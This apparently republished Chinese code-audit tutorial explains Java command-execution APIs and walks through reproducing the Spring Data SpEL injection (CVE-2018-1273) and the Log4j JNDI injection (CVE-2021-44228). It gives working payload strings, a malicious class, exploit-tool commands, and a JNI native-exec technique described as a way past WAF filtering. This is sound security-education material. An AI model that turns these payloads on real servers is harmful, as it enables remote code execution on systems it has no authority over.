【Java代码审计】命令执行漏洞审计

admin 2023年9月26日16:06:02评论78 views字数 8346阅读27分49秒阅读模式

1. 漏洞原理

因用户输入未过滤或净化不完全,导致Web应用程序接收用户输入,拼接到要执行的系统命令中执行。一旦攻击者可以在目标服务器中执行任意系统命令,就意味着服务器已被非法控制。

2. 审计中常用函数

在Java中可用于执行系统命令的方式有API有:

  • java.lang.Runtime

  • java.lang.ProcessBuilder

  • java.lang.ProcessImpl

【Java代码审计】命令执行漏洞审计

2.1 java.lang.Runtime

java.lang.Runtime中提供了getRuntime()内置方法获取类实例。在java中用到最多的就是java.lang.Runtime#exec()来命令执行。

例1:

public class Demo {    public static void main(String[] args) throws Exception {        String command = "calc";        Runtime.getRuntime().exec(command);    }}

例2:

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Demo {    public static void main(String[] args) throws Exception {        String command = "ping XXX.dnslog.cn";        Process proc = Runtime.getRuntime().exec(command); //打印执行结果         InputStream in = proc.getInputStream();         BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF8"));         String line = null;         while ((line = br.readLine()) != null) {             System.out.println(line);         }    }}

命令执行过程分析:

【Java代码审计】命令执行漏洞审计

【Java代码审计】命令执行漏洞审计

【Java代码审计】命令执行漏洞审计

【Java代码审计】命令执行漏洞审计

【Java代码审计】命令执行漏洞审计

【Java代码审计】命令执行漏洞审计

Runtime#exec()调用链:

根据系统类型区分底层要调用的方法,由于本测试环境为类Unix系统,这里调用Java_java_lang_UNIXProcess_forkAndExec方法,forkAndExec调用操作系统级别执行命令并返回进程PID。

【Java代码审计】命令执行漏洞审计

详细参考官方文档:https://docs.oracle.com/javase/7/docs/api/java/lang/Runtime.html#exec

2.2  java.lang.ProcessBuilder

ProcessBuilder类是JDK1.5在java.lang中新添加的一个类,用于创建操作系统进程。通常使用 java.lang.ProcessBuilder#start()来启动和管理进程。 

例1:

public class Demo {    public static void main(String[] args){      try {      new ProcessBuilder("calc").start();      } catch (Exception e) {      System.out.println(e.toString());      }    }}

2.3 java.lang.ProcessImpl

ProcessImpl类通常是为ProcessBuilder.start()创建新进程服务的,不能直接去调用。看到ProcessImpl类构造器私有,所以不能直接对其进行实例化,为了演示可以用反射。

【Java代码审计】命令执行漏洞审计

调用案例1:

在获取到一个静态方法后,必须用 setAccessible 修改它的作用域,否则不能调用。 

public class Demo {    public static void main(String[] args){        try {            String[] cmds = {"calc"};            Class clazz = Class.forName("java.lang.ProcessImpl");            Method method = clazz.getDeclaredMethod("start",                    new String[]{}.getClass(),                    Map.class,String.class,                    ProcessBuilder.Redirect[].class,                    boolean.class);            method.setAccessible(true);            method.invoke(null,cmds,null,".",null,true);        } catch (Exception e) {            System.out.println(e.toString());        }    }}

调用方法一:通过java.lang.Runtime类内部方法getRuntime()获取当前实例。

Class clazz = Class.forName("java.lang.Runtime");clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");

调用方法二:反射获取私有构造函数,用 setAccessible 修改它的作用域。  

Class clazz = Class.forName("java.lang.Runtime");Constructor m = clazz.getDeclaredConstructor();m.setAccessible(true);clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc");

反射调用静态方法:由于静态方法不属于任何对象,只属于类本身,所以使用invoke时不需要传实例对象。

总结:注意利用反射机制调用命令API时是否具有访问权限的问题。

调用案例2:

使用ProcessBuilder.start()执行"ifconfig -a"命令。

参考官方ProcessBuilder构造函数,可以接收字符串List或字符串可变长数组。 

【Java代码审计】命令执行漏洞审计

调用执行有参数命令方法:

InputStream in = new ProcessBuilder("ifconfig","-a").start();

【Java代码审计】命令执行漏洞审计

3. 相关漏洞案例

3.1 SpEL表达式注入执行代码

SpEL(Spring Expression Language),即Spring表达式语言,是比JSP的EL更强大 的一种表达式语言。从Spring 3开始引入了Spring表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。SpEL是单独模块,以API接口的形式创建,所以允许将其集成到其他应用程序和框架中。 

<dependency>  <groupId>org.springframework</groupId>  <artifactId>spring-expression</artifactId>  <version>5.0.2.RELEASE</version></dependency>

【Java代码审计】命令执行漏洞审计

#{}符号是SpEL的定界符,所有在大括号中的字符都将被认为是SpEL表达式。

例1:代码块中使用SpEL表达式执行代码

public static void test1(){        // 第一步 创建解析器:SpEL使用ExpressionParser接口表示解析器,提供SpelExpressionParser默认实现        ExpressionParser parser = new SpelExpressionParser();        // 第二步 解析表达式:使用ExpressionParser的parseExpression来解析相应的表达式为Expression对象,这里调用concat方法进行拼接        Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");        // 第三步 构造上下文:准备比如变量定义等等表达式需要的上下文数据        EvaluationContext context = new StandardEvaluationContext();        context.setVariable("end", "!");        // 第四步 求值:通过Expression接口的getValue方法根据上下文获得表达式值        System.out.println(expression.getValue(context));}

EvaluationContext 表示上下文环境,系统提供了2个 EvaluationContext 接口实现类:

【Java代码审计】命令执行漏洞审计

• SimpleEvaluationContext:仅支持SpEL语言语法的一个子集,不包括Java类型引用、构造函数和bean引用

• StandardEvaluationContext:支持全部SpEL语法,在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext

例2:通过类型表达式T(Type)操作类

T(Type)运算符会调用类的作用域和方法。注:SpEL内置了 java.lang 包下的类声明。

// java.lang 包类访问Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);System.out.println(result1); // class java.lang.String

漏洞原理:

SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,而它包含了SpEL的所有功能,允许用户在可以控制输入的情况下成功造成任意代码执行。

例3:通过控制SpEL表达式执行命令

String expression2 = "T(java.lang.Runtime).getRuntime().exec('open /Applications/Calculator.app')";Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);System.out.println(result2);

命令执行过程分析:

【Java代码审计】命令执行漏洞审计

【Java代码审计】命令执行漏洞审计

【Java代码审计】命令执行漏洞审计

【Java代码审计】命令执行漏洞审计

【Java代码审计】命令执行漏洞审计

【Java代码审计】命令执行漏洞审计

CVE-2018-1273漏洞复现:

Spring Data Commons中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

漏洞环境搭建:

开源项目地址 https://github.com/spring-projects/spring-data-examples/

<parent>  <groupId>org.springframework.boot</groupId>  <artifactId>spring-boot-starter-parent</artifactId>  <version>2.0.0.RELEASE</version></parent>

将jdk版本换成8,启动web[spring-data-web-example]

POC代码:  

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]=&password=&repeatedPassword=

【Java代码审计】命令执行漏洞审计

漏洞原理分析:

试过程中发现该方法会处理所有GET/POST请求的参数名与参数值,且当propertyName值为Controller类中处理该请求的方法的形参对应的类中属性名时,才会进入上图中的else分支。

【Java代码审计】命令执行漏洞审计

1、首先看example.users.web.UserController#register方法如下,可以看到该方法是处理请求地址为/users的POST请求,看到其有一个类型为UserForm的形参。

【Java代码审计】命令执行漏洞审计

2、但当propertyName值为username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“calc.exe”)]时,也可以进入else分支,因此通过单步执行if判断里面的代码后发现在org.springframework.data.web.MapDataBinder.MapPropertyAccessor#getPropertyPath方法中,其在处理propertyName值时,会将“[]”中包含的字符包括“[]”去除后再与UserForm类中的属性值做对比,因此可以校验成功进入后面的else分支。

【Java代码审计】命令执行漏洞审计

可以看到先是使用propertyName值创建了一个Expression对象,然后后面调用expression.setValue()方法时,传入的Context对象类型为StandardEvaluationContext,可解析任意SpEL,因此造成任意命令执行。

漏洞修复补丁:

常规修复措施,将StandardEvaluationContext替代为SimpleEvaluationContext。

https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653

3.2 JNDI注入执行任意代码

Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。

常见代码:

String jndiName= "XXX";//指定需要查找name名称Context context = new InitialContext();//初始化默认环境DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP),域名服务(DNS)。

【Java代码审计】命令执行漏洞审计

JNDI注入:当上文代码中jndiName这个变量可控时,引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。

CVE-2021-44228漏洞复现

Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系 统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时, 即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

POC格式:

${jndi:XX://XX.XX.XX.XX:XX/XX}

EvilCurl.java恶意类:

public class EvilCurl {    static {        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        EvilCurl evilClass=new EvilCurl();    }}

漏洞复现方式1:

工具地址:https://github.com/mbechler/marshalsec

(1)开启一个python的http web服务,其目的就是就是web形式公布出去

【Java代码审计】命令执行漏洞审计

(2)开启一个监控工具去到利用http服务以web形式加载恶意类

【Java代码审计】命令执行漏洞审计

(3)搭建log4j的poc进行复现,触发漏洞环境,进而执行恶意代码

logger.error("${jndi:ldap://127.0.0.1:8801/EvilCalc1}");

【Java代码审计】命令执行漏洞审计

漏洞复现方式2:

工具地址:https://github.com/welk1n/JNDI-Injection-Exploit

(1)通过JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar去监听靶场请求的端口并远程加载恶意类

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1

【Java代码审计】命令执行漏洞审计

(2)触发漏洞,会发现成功的加载了恶意代码

【Java代码审计】命令执行漏洞审计

4. 知识扩展

Java可以通过JNI构建动态链接库执行命令,该特性从JDK1.1开始就支持了。

优势:代码相对底层,实战中可用绕过一些waf拦截。

【Java代码审计】命令执行漏洞审计

JNI(Java Native Interface)实现了java程序和native方法之间的双向交互,JNI允许Java代码使用以其他语言编写的代码和代码库。动态链接库(Dynamic-link library):windows下动态链接库是windows系统中模块化的函数库,通常扩展名是 .DLL 、 .OCX 或者 .DRV 。不同平台中的动态链接库使用不同的后缀,如:linux/unix平台中是 .so 文件,mac os x平台中是 .jnilib 文件。Native方法:原生函数,在java中使用native关键字声明,使用C/C++语言实现的,被编译成DLL或其他库类型,由Java去调用。

练习:按JNI开发流程,编写实现JNI调用C++执行任意命令。

(1) 编写Java类声明Native方法,并编译为可执行文件

public class Hello {public static native String exec(String cmd);}

(2) 生成 .h 头文件

头文件声明的方法名为 Java_包名_类名_方法名。

javah -jni java类名

(3) C++ 实现Native方法,实现头文件,即创建 .cpp 源文件

#include <iostream>#include <stdlib.h>#include <cstring>#include <string>#include "Hello.h"using namespace std;JNIEXPORT jstringJNICALL Java_Hello_exec(JNIEnv *env, jclass jclass, jstring str) {    if (str != NULL) {        jboolean jsCopy;        // 将jstring参数转成char指针        const char *cmd = env->GetStringUTFChars(str, &jsCopy);        // 使用popen函数执行系统命令        FILE *fd = popen(cmd, "r");        if (fd != NULL) {            // 返回结果字符串            string result;            // 定义字符串数组            char buf[128];            // 读取popen函数的执行结果            while (fgets(buf, sizeof(buf), fd) != NULL) {                // 拼接读取到的结果到result                result +=buf;            }            // 关闭popen            pclose(fd);            // 返回命令执行结果给Java            return env->NewStringUTF(result.c_str());        }    }    return NULL;}

(4) 根据相应平台生成动态链接库

通过源文件生成 JNI(动态链接库):

【Java代码审计】命令执行漏洞审计

命令格式: 

gcc -I /JDK路径/include/ -I /JDK路径/include/darwin/ -dynamiclib 源文件名.cpp -o jni文件名.jnilib

例如:

gcc -I /Library/Java/JavaVirtualMachines/jdk1.8.0_20.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/jdk1.8.0_20.jdk/Contents/Home/include/darwin -dynamiclib Hello.cpp -o libhello.jnilib -lstdc++

运行 Java 程序:

public class Exec {    public static void main(String[] args){        System.load("libhello.jnilib");        System.out.println(Hello.exec("calc"));        }}

回顾过程:

【Java代码审计】命令执行漏洞审计



原文始发于微信公众号(ZackSecurity):【Java代码审计】命令执行漏洞审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月26日16:06:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Java代码审计】命令执行漏洞审计https://cn-sec.com/archives/2068490.html

发表评论

匿名网友 填写信息